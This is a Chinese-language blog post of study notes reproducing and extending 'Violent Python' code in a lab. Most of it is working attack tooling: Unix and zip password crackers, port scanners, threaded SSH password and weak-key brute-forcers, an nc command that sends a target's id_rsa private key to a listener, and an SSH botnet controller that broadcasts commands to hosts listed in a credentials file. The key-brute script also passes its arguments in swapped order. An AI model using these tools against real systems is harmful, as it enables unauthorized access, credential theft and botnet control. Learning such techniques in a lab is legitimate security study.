本篇文章主要把《Python绝技:运用Python成为顶级黑客》中的代码敲一遍,学学Python安全相关的编程与思路,然后根据具体的情况修改一下代码。
第一章——入门
1、准备开发环境
安装第三方库:
安装Python-nmap包:
wget http://xael.org/norman/python/python-nmap/pythonnmap-0.2.4.tar.gz-On map.tar.gz
tar -xzf nmap.tar.gz
cd python-nmap-0.2.4/
python setup.py install
当然可以使用easy_install模块实现更简便的安装:easy_install python-nmap
安装其他:easy_install pyPdf python-nmap pygeoip mechanize BeautifulSoup4
其他几个无法用easy_install命令安装的与蓝牙有关的库:apt-get install python-bluez bluetooth python-obexftp
Python解释与Python交互:
简单地说,Python解释是通过调用Python解释器执行py脚本,而Python交互则是通过在命令行输入python实现交互。
2、Python语言
变量
Python中的字符串、整形数、列表、布尔值以及词典。
字符串
四个方法:upper()大写输出、lower()小写输出、replace()替换、find()查找
List(列表)
append()方法向列表添加元素、index()返回元素的索引、remove()删除元素、sort()排序、len()返回列表长度
词典
keys()返回词典中所有键的列表、items()返回词典中所有项的完整信息的列表
网络
使用socket模块,connect()方法建立与指定IP和端口的网络连接;recv(1024)方法将读取套接字中接下来的1024B数据
条件选择语句
if 条件一:
语句一
elif 条件二:
语句二
else:
语句三
异常处理
try/except语句进行异常处理,可以将异常存储到变量e中以便打印出来,同时还要调用str()将e转换成一个字符串
函数
通过def()关键字定义,示例中定义扫描FTP banner信息的函数:
#!/usr/bin/python
#coding=utf-8
import socket
def retBanner(ip,port):
try:
socket.setdefaulttimeout(2)
s = socket.socket()
s.connect((ip,port))
banner = s.recv(1024)
return banner
except:
return
def checkVulns(banner):
if 'vsFTPd' in banner:
print '[+] vsFTPd is vulnerable.'
elif 'FreeFloat Ftp Server' in banner:
print '[+] FreeFloat Ftp Server is vulnerable.'
else:
print '[-] FTP Server is not vulnerable.'
return
def main():
ips = ['10.10.10.128','10.10.10.160']
port = 21
banner1 = retBanner(ips[0],port)
if banner1:
print '[+] ' + ips[0] + ": " + banner1.strip('\n')
checkVulns(banner1)
banner2 = retBanner(ips[1],port)
if banner2:
print '[+] ' + ips[1] + ": " + banner2.strip('\n')
checkVulns(banner2)
if __name__ == '__main__':
main()
迭代
for语句
#!/usr/bin/python
#coding=utf-8
import socket
def retBanner(ip,port):
try:
socket.setdefaulttimeout(2)
s = socket.socket()
s.connect((ip,port))
banner = s.recv(1024)
return banner
except:
return
def checkVulns(banner):
if 'vsFTPd' in banner:
print '[+] vsFTPd is vulnerable.'
elif 'FreeFloat Ftp Server' in banner:
print '[+] FreeFloat Ftp Server is vulnerable.'
else:
print '[-] FTP Server is not vulnerable.'
return
def main():
portList = [21,22,25,80,110,443]
ip = '10.10.10.128'
for port in portList:
banner = retBanner(ip,port)
if banner:
print '[+] ' + ip + ':' + str(port) + '--' + banner
if port == 21:
checkVulns(banner)
if __name__ == '__main__':
main()
文件输入/输出
open()打开文件,r只读,r+读写,w新建(会覆盖原有文件),a追加,b二进制文件
同一目录中:
不同目录中:
从当前目录开始往下查找,前面加上.号
或者是绝对路径则不用加.号表示从当前目录开始
sys模块
sys.argv列表中含有所有的命令行参数,sys.argv[0]为Python脚本的名称,其余的都是命令行参数
OS模块
os.path.isfile()检查该文件是否存在
os.access()判断当前用户是否有权限读取该文件
#!/usr/bin/python
#coding=utf-8
import sys
import os
if len(sys.argv) == 2:
filename = sys.argv[1]
if not os.path.isfile(filename):
print '[-] ' + filename + ' does not exit.'
exit(0)
if not os.access(filename,os.R_OK):
print '[-] ' + filename + ' access denied.'
exit(0)
print '[+] Reading From: ' + filename
整合
将上述各个模块整合起来,实现对目标主机的端口及其banner信息的扫描:
#!/usr/bin/python
#coding=utf-8
import socket
import sys
import os
def retBanner(ip,port):
try:
socket.setdefaulttimeout(2)
s = socket.socket()
s.connect((ip,port))
banner = s.recv(1024)
return banner
except:
return
def checkVulns(banner,filename):
f = open(filename, 'r')
for line in f.readlines():
if line.strip('\n') in banner:
print '[+] Server is vulnerable: ' + banner.strip('\n')
def main():
if len(sys.argv) == 2:
filename = sys.argv[1]
if not os.path.isfile(filename):
print '[-] ' + filename + ' does not exit.'
exit(0)
if not os.access(filename,os.R_OK):
print '[-] ' + filename + ' access denied.'
exit(0)
print '[+] Reading From: ' + filename
else:
print '[-] Usage: ' + str(sys.argv[0]) + ' <vuln filename>'
exit(0)
portList = [21,22,25,80,110,443]
ip = '10.10.10.128'
for port in portList:
banner = retBanner(ip,port)
if banner:
print '[+] ' + ip + ':' + str(port) + '--' + banner
if port == 21:
checkVulns(banner,filename)
if __name__ == '__main__':
main()
运行结果:
3、第一个Python程序
第一个程序:Unix口令破解机
这段代码通过分别读取两个文件,一个为加密口令文件,另一个为用于猜测的字典文件。在testPass()函数中读取字典文件,并通过crypt.crypt()进行加密,其中需要一个明文密码以及两个字节的盐,然后再用加密后的信息和加密口令进行比较查看是否相等即可。
先看crypt的示例:
可以看到盐是添加在密文的前两位的,所以将加密口令的前两位提取出来为salt即可。
#!/usr/bin/python
#coding=utf-8
import crypt
def testPass(cryptPass):
salt = cryptPass[0:2]
dictFile = open('dictionary.txt','r')
for word in dictFile.readlines():
word = word.strip('\n')
cryptWord = crypt.crypt(word,salt)
if cryptWord == cryptPass:
print '[+] Found Password: ' + word + "\n"
return
print '[-] Password not Found.\n'
return
def main():
passFile = open('passwords.txt')
for line in passFile.readlines():
if ":" in line:
user = line.split(':')[0]
cryptPass = line.split(':')[1].strip(' ')
print '[*] Cracking Password For : ' + user
testPass(cryptPass)
if __name__ == '__main__':
main()
运行结果:
在现代的类Unix系统中在/etc/shadow文件中存储了口令的hash,但是更多的是使用SHA-512等更安全的hash算法,如:
在Python中的hashlib库可以找到SHA-512的函数,这样就可以进一步升级脚本进行口令破解。
第二个程序:一个Zip文件口令破解机
主要使用zipfile库的extractall()方法,其中pwd参数指定密码
#!/usr/bin/python
#coding=utf-8
import zipfile
import optparse
from threading import Thread
def extractFile(zFile,password):
try:
zFile.extractall(pwd=password)
print '[+] Fonud Password : ' + password + '\n'
except:
pass
def main():
parser = optparse.OptionParser("[*] Usage: ./unzip.py -f <zipfile> -d <dictionary>")
parser.add_option('-f',dest='zname',type='string',help='specify zip file')
parser.add_option('-d',dest='dname',type='string',help='specify dictionary file')
(options,args) = parser.parse_args()
if (options.zname == None) | (options.dname == None):
print parser.usage
exit(0)
zFile = zipfile.ZipFile(options.zname)
passFile = open(options.dname)
for line in passFile.readlines():
line = line.strip('\n')
t = Thread(target=extractFile,args=(zFile,line))
t.start()
if __name__ == '__main__':
main()
代码中导入了optparse库解析命令行参数,调用OptionParser()生成一个参数解析器类的示例,parser.add_option()指定具体解析哪些命令行参数,usage输出的是参数的帮助信息;同时也采用了多线程的方式提高破解速率。
运行结果:
第二章——用Python进行渗透测试
1、编写一个端口扫描器
TCP全连接扫描、抓取应用的Banner
#!/usr/bin/python
#coding=utf-8
import optparse
import socket
from socket import *
def connScan(tgtHost,tgtPort):
try:
connSkt = socket(AF_INET,SOCK_STREAM)
connSkt.connect((tgtHost,tgtPort))
connSkt.send('ViolentPython\r\n')
result = connSkt.recv(100)
print '[+] %d/tcp open'%tgtPort
print '[+] ' + str(result)
connSkt.close()
except:
print '[-] %d/tcp closed'%tgtPort
def portScan(tgtHost,tgtPorts):
try:
tgtIP = gethostbyname(tgtHost)
except:
print "[-] Cannot resolve '%s' : Unknown host"%tgtHost
return
try:
tgtName = gethostbyaddr(tgtIP)
print '\n[+] Scan Results for: ' + tgtName[0]
except:
print '\n[+] Scan Results for: ' + tgtIP
setdefaulttimeout(1)
for tgtPort in tgtPorts:
print 'Scanning port' + tgtPort
connScan(tgtHost,int(tgtPort))
def main():
parser = optparse.OptionParser("[*] Usage : ./portscanner.py -H <target host> -p <target port>")
parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
parser.add_option('-p',dest='tgtPort',type='string',help='specify target port[s]')
(options,args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPorts = str(options.tgtPort).split(',')
if (tgtHost == None) | (tgtPorts[0] == None):
print parser.usage
exit(0)
portScan(tgtHost,tgtPorts)
if __name__ == '__main__':
main()
这段代码实现了命令行参数输入,需要用户输入主机IP和扫描的端口号,其中多个端口号之间可以用,号分割开;若参数输入不为空时(注意检测端口参数列表不为空即检测至少存在第一个值不为空即可)则调用函数进行端口扫描;在portScan()函数中先尝试调用gethostbyname()来从主机名获取IP,若获取不了则解析IP失败程序结束,若成功则继续尝试调用gethostbyaddr()从IP获取主机名相关信息,若获取成功则输出列表的第一项主机名否则直接输出IP,接着遍历端口调用connScan()函数进行端口扫描;在connScan()函数中,socket方法中有两个参数AF_INET和SOCK_STREAM,分别表示使用IPv4地址和TCP流,这两个参数是默认的,在上一章的代码中没有添加但是默认是这两个参数,其余的代码和之前的差不多了。
注意一个小问题就是,设置命令行参数的时候,是已经默认添加了-h和--help参数来提示参数信息的,如果在host参数使用-h的话就会出现错误,因而要改为用大写的H即书上的“-H”即可。
运行结果:
线程扫描
将上一小节的代码修改一下,添加线程实现,同时为了让一个函数获得完整的屏幕控制权,这里使用一个信号量semaphore,它能够阻止其他线程运行而避免出现多线程同时输出造成的乱码和失序等情况。在打印输出前带调用screenLock.acquire()函数执行一个加锁操作,若信号量还没被锁定则线程有权继续运行并输出打印到屏幕上,若信号量被锁定则只能等待直到信号量被释放。
#!/usr/bin/python
#coding=utf-8
import optparse
import socket
from socket import *
from threading import *
#定义一个信号量
screenLock = Semaphore(value=1)
def connScan(tgtHost,tgtPort):
try:
connSkt = socket(AF_INET,SOCK_STREAM)
connSkt.connect((tgtHost,tgtPort))
connSkt.send('ViolentPython\r\n')
result = connSkt.recv(100)
#执行一个加锁操作
screenLock.acquire()
print '[+] %d/tcp open'%tgtPort
print '[+] ' + str(result)
except:
#执行一个加锁操作
screenLock.acquire()
print '[-] %d/tcp closed'%tgtPort
finally:
#执行释放锁的操作,同时将socket的连接在其后关闭
screenLock.release()
connSkt.close()
def portScan(tgtHost,tgtPorts):
try:
tgtIP = gethostbyname(tgtHost)
except:
print "[-] Cannot resolve '%s' : Unknown host"%tgtHost
return
try:
tgtName = gethostbyaddr(tgtIP)
print '\n[+] Scan Results for: ' + tgtName[0]
except:
print '\n[+] Scan Results for: ' + tgtIP
setdefaulttimeout(1)
for tgtPort in tgtPorts:
t = Thread(target=connScan,args=(tgtHost,int(tgtPort)))
t.start()
def main():
parser = optparse.OptionParser("[*] Usage : ./portscanner.py -H <target host> -p <target port>")
parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
parser.add_option('-p',dest='tgtPort',type='string',help='specify target port[s]')
(options,args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPorts = str(options.tgtPort).split(',')
if (tgtHost == None) | (tgtPorts[0] == None):
print parser.usage
exit(0)
portScan(tgtHost,tgtPorts)
if __name__ == '__main__':
main()
运行结果:
从结果可以看到,使用多线程之后端口的扫描并不是按输入的顺序进行的了,而是同时进行,但是因为有信号量实现加锁等操作所以输出的结果并没有出现乱码等情况。
使用nmap端口扫描代码
如果在前面没有下载该模块,则需要先到http://xael.org/pages/python-nmap-en.html中下载Python-Nmap
#!/usr/bin/python
#coding=utf-8
import nmap
import optparse
def nmapScan(tgtHost,tgtPort):
#创建一个PortScanner()类对象
nmScan = nmap.PortScanner()
#调用PortScanner类的scan()函数,将目标和端口作为参数输入并进行nmap扫描
nmScan.scan(tgtHost,tgtPort)
#输出扫描结果中的状态信息
state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
print '[*] ' + tgtHost + " tcp/" + tgtPort + " " + state
def main():
parser=optparse.OptionParser("[*] Usage : ./nmapScan.py -H <target host> -p <target port[s]>")
parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
parser.add_option('-p',dest='tgtPorts',type='string',help='specify target port[s]')
(options,args)=parser.parse_args()
tgtHost = options.tgtHost
tgtPorts = str(options.tgtPorts).split(',')
if (tgtHost == None) | (tgtPorts[0] == None):
print parser.usage
exit(0)
for tgtPort in tgtPorts:
nmapScan(tgtHost,tgtPort)
if __name__ == '__main__':
main()
运行结果:
2、用Python构建一个SSH僵尸网络
用Pexpect与SSH交互
若在前面第一章的时候没有下载,则需要先下载Pexpect:https://pypi.python.org/pypi/pexpect/
Pexpect模块可以实现与程序交互、等待预期的屏幕输出并据此作出不同的响应。
先进行正常的ssh连接测试:
模仿这个流程,代码如下:
#!/usr/bin/python
#coding=utf-8
import pexpect
#SSH连接成功时的命令行交互窗口中前面的提示字符的集合
PROMPT = ['# ','>>> ','> ','\$ ']
def send_command(child,cmd):
#发送一条命令
child.sendline(cmd)
#期望有命令行提示字符出现
child.expect(PROMPT)
#将之前的内容都输出
print child.before
def connect(user,host,password):
#表示主机已使用一个新的公钥的消息
ssh_newkey = 'Are you sure you want to continue connecting'
connStr = 'ssh ' + user + '@' + host
#为ssh命令生成一个spawn类的对象
child = pexpect.spawn(connStr)
#期望有ssh_newkey字符、提示输入密码的字符出现,否则超时
ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
#匹配到超时TIMEOUT
if ret == 0:
print '[-] Error Connecting'
return
#匹配到ssh_newkey
if ret == 1:
#发送yes回应ssh_newkey并期望提示输入密码的字符出现
child.sendline('yes')
ret = child.expect([pexpect.TIMEOUT,'[P|p]assword: '])
#匹配到超时TIMEOUT
if ret == 0:
print '[-] Error Connecting'
return
#发送密码
child.sendline(password)
child.expect(PROMPT)
return child
def main():
host='10.10.10.128'
user='msfadmin'
password='msfadmin'
child=connect(user,host,password)
send_command(child,'uname -a')
if __name__ == '__main__':
main()
这段代码没有进行命令行参数的输入以及没有实现命令行交互。
运行结果:
书上提到了BackTrack中的运行,也来测试一下吧:
在BT5中生成ssh-key并启动SSH服务:
sshd-generate
service ssh start
./sshScan.py
【个人修改的代码】
这段代码可以进一步改进一下,下面的是个人改进的代码,实现了参数化输入以及命令行shell交互的形式:
#!/usr/bin/python
#coding=utf-8
import pexpect
from optparse import OptionParser
#SSH连接成功时的命令行交互窗口中的提示符的集合
PROMPT = ['# ','>>> ','> ','\$ ']
def send_command(child,cmd):
#发送一条命令
child.sendline(cmd)
#期望有命令行提示字符出现
child.expect(PROMPT)
#将之前的内容都输出
print child.before.split('\n')[1]
def connect(user,host,password):
#表示主机已使用一个新的公钥的消息
ssh_newkey = 'Are you sure you want to continue connecting'
connStr = 'ssh ' + user + '@' + host
#为ssh命令生成一个spawn类的对象
child = pexpect.spawn(connStr)
#期望有ssh_newkey字符、提示输入密码的字符出现,否则超时
ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
#匹配到超时TIMEOUT
if ret == 0:
print '[-] Error Connecting'
return
#匹配到ssh_newkey
if ret == 1:
#发送yes回应ssh_newkey并期望提示输入密码的字符出现
child.sendline('yes')
ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
#匹配到超时TIMEOUT
if ret == 0:
print '[-] Error Connecting'
return
#发送密码
child.sendline(password)
child.expect(PROMPT)
return child
def main():
parser = OptionParser("[*] Usage : ./sshCommand2.py -H <target host> -u <username> -p <password>")
parser.add_option('-H',dest='host',type='string',help='specify target host')
parser.add_option('-u',dest='username',type='string',help='target username')
parser.add_option('-p',dest='password',type='string',help='target password')
(options,args) = parser.parse_args()
if (options.host == None) | (options.username == None) | (options.password == None):
print parser.usage
exit(0)
child=connect(options.username,options.host,options.password)
while True:
command = raw_input('<SSH> ')
send_command(child,command)
if __name__ == '__main__':
main()
这样就可以指定目标主机进行SSH连接并实现了SSH一样的命令行交互体验了:
用Pxssh暴力破解SSH密码
pxssh 是 pexpect 中 spawn 类的子类,增加了login()、logout()和prompt()几个方法,使用其可以轻松实现 ssh 连接,而不用自己调用相对复杂的 pexpect 的方法来实现。
prompt(self,timeout=20)方法用于匹配新提示符
使用pxssh替代上一小节的脚本:
#!/usr/bin/python
#coding=utf-8
from pexpect import pxssh
def send_command(s,cmd):
s.sendline(cmd)
#匹配prompt(提示符)
s.prompt()
#将prompt前所有内容打印出
print s.before
def connect(host,user,password):
try:
s = pxssh.pxssh()
#利用pxssh类的login()方法进行ssh登录
s.login(host,user,password)
return s
except:
print '[-] Error Connecting'
exit(0)
s = connect('10.10.10.128','msfadmin','msfadmin')
send_command(s,'uname -a')
一开始遇到一个问题,就是直接按书上的敲import pxssh会显示出错,但是明明已经安装了这个文件,查看资料发现是pxssh是在pexpect包中的,所以将其改为from pexpect import pxssh就可以了。
运行结果:
接着继续修改代码:
#!/usr/bin/python
#coding=utf-8
from pexpect import pxssh
import optparse
import time
from threading import *
maxConnections = 5
#定义一个有界信号量BoundedSemaphore,在调用release()函数时会检查增加的计数是否超过上限
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host,user,password,release):
global Found
global Fails
try:
s = pxssh.pxssh()
#利用pxssh类的login()方法进行ssh登录
s.login(host,user,password)
print '[+] Password Found: ' + password
Found = True
except Exception, e:
#SSH服务器可能被大量的连接刷爆,等待一会再连接
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
#递归调用的connect(),不可释放锁
connect(host,user,password,False)
#显示pxssh命令提示符提取困难,等待一会再连接
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
#递归调用的connect(),不可释放锁
connect(host,user,password,False)
finally:
if release:
#释放锁
connection_lock.release()
def main():
parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H <target host> -u <username> -f <password file>')
parser.add_option('-H',dest='host',type='string',help='specify target host')
parser.add_option('-u',dest='username',type='string',help='target username')
parser.add_option('-f',dest='file',type='string',help='specify password file')
(options,args) = parser.parse_args()
if (options.host == None) | (options.username == None) | (options.file == None):
print parser.usage
exit(0)
host = options.host
username = options.username
file = options.file
fn = open(file,'r')
for line in fn.readlines():
if Found:
print '[*] Exiting: Password Found'
exit(0)
if Fails > 5:
print '[!] Exiting: Too Many Socket Timeouts'
exit(0)
#加锁
connection_lock.acquire()
#去掉换行符,其中Windows为'\r\n',Linux为'\n'
password = line.strip('\r').strip('\n')
print '[-] Testing: ' + str(password)
#这里不是递归调用的connect(),可以释放锁
t = Thread(target=connect,args=(host,username,password,True))
child = t.start()
if __name__ =='__main__':
main()
Semaphore,是一种带计数的线程同步机制,当调用release时,增加计算,当acquire时,减少计数,当计数为0时,自动阻塞,等待release被调用。其存在两种Semaphore, 即Semaphore和BoundedSemaphore,都属于threading库。
Semaphore: 在调用release()函数时,不会检查增加的计数是否超过上限(没有上限,会一直上升)
BoundedSemaphore:在调用release()函数时,会检查增加的计数是否超过上限,从而保证了使用的计数
运行结果:
利用SSH中的弱密钥
使用密钥登录ssh时,格式为:ssh user@host -i keyfile -o PasswordAuthentication=no
本来是要到这个网站中去下载ssh的私钥压缩包的:http://digitaloffense.net/tools/debianopenssl/
但是由于时间有点久已经没有该站点可以下载了。
为了进行测试就到靶机上将该ssh的rsa文件通过nc传过来:
Kali先开启nc监听:nc -lp 4444 > id_rsa
然后靶机Metasploitable进入ssh的dsa目录,将id_rsa文件而不是id_rsa.:
cd .ssh
nc -nv 10.10.10.160 4444 -q 1 < id_rsa
下面这段脚本主要是逐个使用指定目录中生成的密钥来尝试进行连接。
#!/usr/bin/python
#coding=utf-8
import pexpect
import optparse
import os
from threading import *
maxConnections = 5
#定义一个有界信号量BoundedSemaphore,在调用release()函数时会检查增加的计数是否超过上限
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0
def connect(host,user,keyfile,release):
global Stop
global Fails
try:
perm_denied = 'Permission denied'
ssh_newkey = 'Are you sure you want to continue'
conn_closed = 'Connection closed by remote host'
opt = ' -o PasswordAuthentication=no'
connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,'$','#', ])
#匹配到ssh_newkey
if ret == 2:
print '[-] Adding Host to ~/.ssh/known_hosts'
child.sendline('yes')
connect(user, host, keyfile, False)
#匹配到conn_closed
elif ret == 3:
print '[-] Connection Closed By Remote Host'
Fails += 1
#匹配到提示符'$','#',
elif ret > 3:
print '[+] Success. ' + str(keyfile)
Stop = True
finally:
if release:
#释放锁
connection_lock.release()
def main():
parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H <target host> -u <username> -d <directory>')
parser.add_option('-H',dest='host',type='string',help='specify target host')
parser.add_option('-u',dest='username',type='string',help='target username')
parser.add_option('-d',dest='passDir',type='string',help='specify directory with keys')
(options,args) = parser.parse_args()
if (options.host == None) | (options.username == None) | (options.passDir == None):
print parser.usage
exit(0)
host = options.host
username = options.username
passDir = options.passDir
#os.listdir()返回指定目录下的所有文件和目录名
for filename in os.listdir(passDir):
if Stop:
print '[*] Exiting: Key Found.'
exit(0)
if Fails > 5:
print '[!] Exiting: Too Many Connections Closed By Remote Host.'
print '[!] Adjust number of simultaneous threads.'
exit(0)
#加锁
connection_lock.acquire()
#连接目录与文件名或目录
fullpath = os.path.join(passDir,filename)
print '[-] Testing keyfile ' + str(fullpath)
t = Thread(target=connect,args=(username,host,fullpath,True))
child = t.start()
if __name__ =='__main__':
main()
运行结果:
构建SSH僵尸网络
#!/usr/bin/python
#coding=utf-8
import optparse
from pexpect import pxssh
#定义一个客户端的类
class Client(object):
"""docstring for Client"""
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host,self.user,self.password)
return s
except Exception, e:
print e
print '[-] Error Connecting'
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output = client.send_command(command)
print '[*] Output from ' + client.host
print '[+] ' + output + '\n'
def addClient(host, user, password):
client = Client(host,user,password)
botNet.append(client)
botNet = []
addClient('10.10.10.128','msfadmin','msfadmin')
addClient('10.10.10.153','root','toor')
botnetCommand('uname -a')
botnetCommand('whoami')
这段代码主要定义一个客户端的类实现ssh连接和发送命令,然后再定义一个botNet数组用于保存僵尸网络中的所有主机,并定义两个方法一个是添加僵尸主机的addClient()、 另一个为在僵尸主机中遍历执行命令的botnetCommand()。
运行结果:
【个人修改的代码】
接下来是本人修改的代码,先是将僵尸主机的信息都保存在一个文件中、以:号将三类信息分割开,从而脚本可以方便地通过读取文件中的僵尸主机信息,同时脚本也实现了批量命令行交互的形式,和之前修改的ssh命令行交互的形式差不多,只是每次输入一条命令所有的僵尸主机都会去执行从而返回命令结果:
botnet.txt文件:
botNet2.py:
#!/usr/bin/python
#coding=utf-8
import optparse
from pexpect import pxssh
import optparse
botNet=[]
#定义一个用于存放host的列表以便判断当前host之前是否已经添加进botNet中了
hosts = []
#定义一个客户端的类
class Client(object):
"""docstring for Client"""
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host,self.user,self.password)
return s
except Exception, e:
print e
print '[-] Error Connecting'
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(cmd, k):
for client in botNet:
output=client.send_command(cmd)
#若k为True即最后一台主机发起请求后就输出,否则输出会和之前的重复
if k:
print '[*] Output from '+client.host
print '[+] '+output+'\n'
def addClient(host,user,password):
if len(hosts) == 0:
hosts.append(host)
client=Client(host,user,password)
botNet.append(client)
else:
t = True
#遍历查看host是否存在hosts列表中,若不存在则进行添加操作
for h in hosts:
if h == host:
t = False
if t:
hosts.append(host)
client=Client(host,user,password)
botNet.append(client)
def main():
parser=optparse.OptionParser('Usage : ./botNet.py -f <botNet file>')
parser.add_option('-f',dest='file',type='string',help='specify botNet file')
(options,args)=parser.parse_args()
file = options.file
if file==None:
print parser.usage
exit(0)
#计算文件行数,不能和下面的f用同一个open()否则会出错
count = len(open(file,'r').readlines())
while True:
cmd=raw_input("<SSH> ")
k = 0
f = open(file,'r')
for line in f.readlines():
line = line.strip('\n')
host = line.split(':')[0]
user = line.split(':')[1]
password = line.split(':')[2]
k += 1
#这里需要判断是否到最后一台主机调用函数,因为命令的输出结果会把前面的所有结果都输出从而会出现重复输出的情况
if k < count:
addClient(host,user,password)
#不是最后一台主机请求,则先不输出命令结果
botnetCommand(cmd,False)
else:
addClient(host,user,password)
#最后一台主机请求,则可以输出命令结果
botnetCommand(cmd,True)
if __name__ =='__main__':
main()
这段修改的代码主要的处理问题是输出的问题,在代码注释中也说得差不多了,就这样吧。
运行结果: